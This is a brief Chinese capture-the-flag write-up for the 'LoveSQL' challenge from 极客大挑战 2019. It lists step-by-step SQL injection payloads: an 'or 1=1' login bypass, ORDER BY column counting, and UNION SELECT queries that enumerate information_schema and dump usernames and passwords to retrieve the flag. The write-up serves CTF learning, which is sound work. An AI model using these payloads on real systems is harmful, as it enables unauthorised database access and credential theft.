[极客大挑战 2019]LoveSQL
1.首先判断是否有注入点
1 | admin' or 1=1# |


2.判断字段个数
1 | ?username=1' order by 3%23&password=111 |


3.查找数据库
1 | ?username=1' union select 1,2,group_concat(schema_name)from information_schema.schemata%23&password=111 |

可以看出有不止一个数据库,其实真正有效的只有test和geek,,其他的一般有经验的都知道那是服务器自带的
4.查找数据表
1 | ?username=1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='geek'%23&password=111 |

有两个数据库 geek和test,所以我们都要试一下,可以看到在geek中有两个数据表
5.查看数据结构
1 | ?username=1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='geekuser'%23&password=11 |

l0ve1ysq1才有有效的东西
6.查看数据结构里内容
1 | ?username=1' union select 1,2,group_concat(id,username,password)from l0ve1ysq1%23&password=111 |

F12查看网页源代码

flag 到手